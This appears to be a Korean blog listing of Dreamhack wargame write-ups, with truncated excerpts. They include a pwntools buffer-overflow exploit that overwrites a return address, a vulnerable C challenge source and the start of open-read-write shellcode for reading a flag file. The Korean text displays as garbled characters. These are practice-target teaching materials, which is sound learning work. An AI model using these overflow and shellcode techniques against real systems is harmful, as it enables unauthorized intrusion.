wargame 3

[System Hacking] basic_exploitation_001

์˜ ์ฃผ์†Œ: 0x80485b9 buffer size: 0x80 Arch: i386-32-little memory layout: ... buf (0x80 byte) SFP (0x4 byte) ret address (0x4 byte) ... payload (should be 0x88 byte): ์“ฐ๋ ˆ๊ธฐ ๊ฐ’ (0x84 byte) read_flag์˜ ์ฃผ์†Œ (0x4 byte) from pwn import * p = remote("host3.dreamhack.games", 9796) # ์“ฐ๋ ˆ๊ธฐ ๊ฐ’ payload = b"\x41" * 0x84 # ์…ธ์ฝ”๋“œ์˜ ์ฃผ์†Œ ์ถ”๊ฐ€ payload += b"\xb9\x85\x04\x08" p.send(payload) p.interactive()

[System Hacking] basic_exploitation_000

Description ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์…ธ์„ ํš๋“ํ•œ ํ›„, "flag" ํŒŒ์ผ์„ ์ฝ์–ด์•ผ ํ•œ๋‹ค. ๊ณต๊ฒฉ ๋Œ€์ƒ์˜ ์ฝ”๋“œ #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main(int argc, char *argv[]) { char buf[0x80]; // 128๋ฐ”์ดํŠธ initialize(); printf("buf = (%p)\n", buf); scanf("%..

[System Hacking] shell_basic: orw๋ฅผ ํ†ตํ•ด flag ํŒŒ์ผ ์–ป๊ธฐ

1. mycode ์–ด์…ˆ๋ธ”๋ฆฌ ์ž‘์„ฑํ•˜๊ธฐ ์ด ๋ฌธ์ œ์—์„œ orw๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ syscall์ด ํ•„์š”ํ•˜๋‹ค. 1. open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL) 2. read(fd, buf, 0x30) 3. write(1, buf, 0x30) ๋”ฐ๋ผ์„œ ์œ„๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ์•„๋ž˜์™€ ๊ฐ™์ด ์ž‘์„ฑํ–ˆ๋‹ค. "/home/shell_basic/flag_name_is_loooooong"์˜ hex๋ฅผ stack์— pushํ•˜๊ธฐ xor rax, rax push rax mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push ..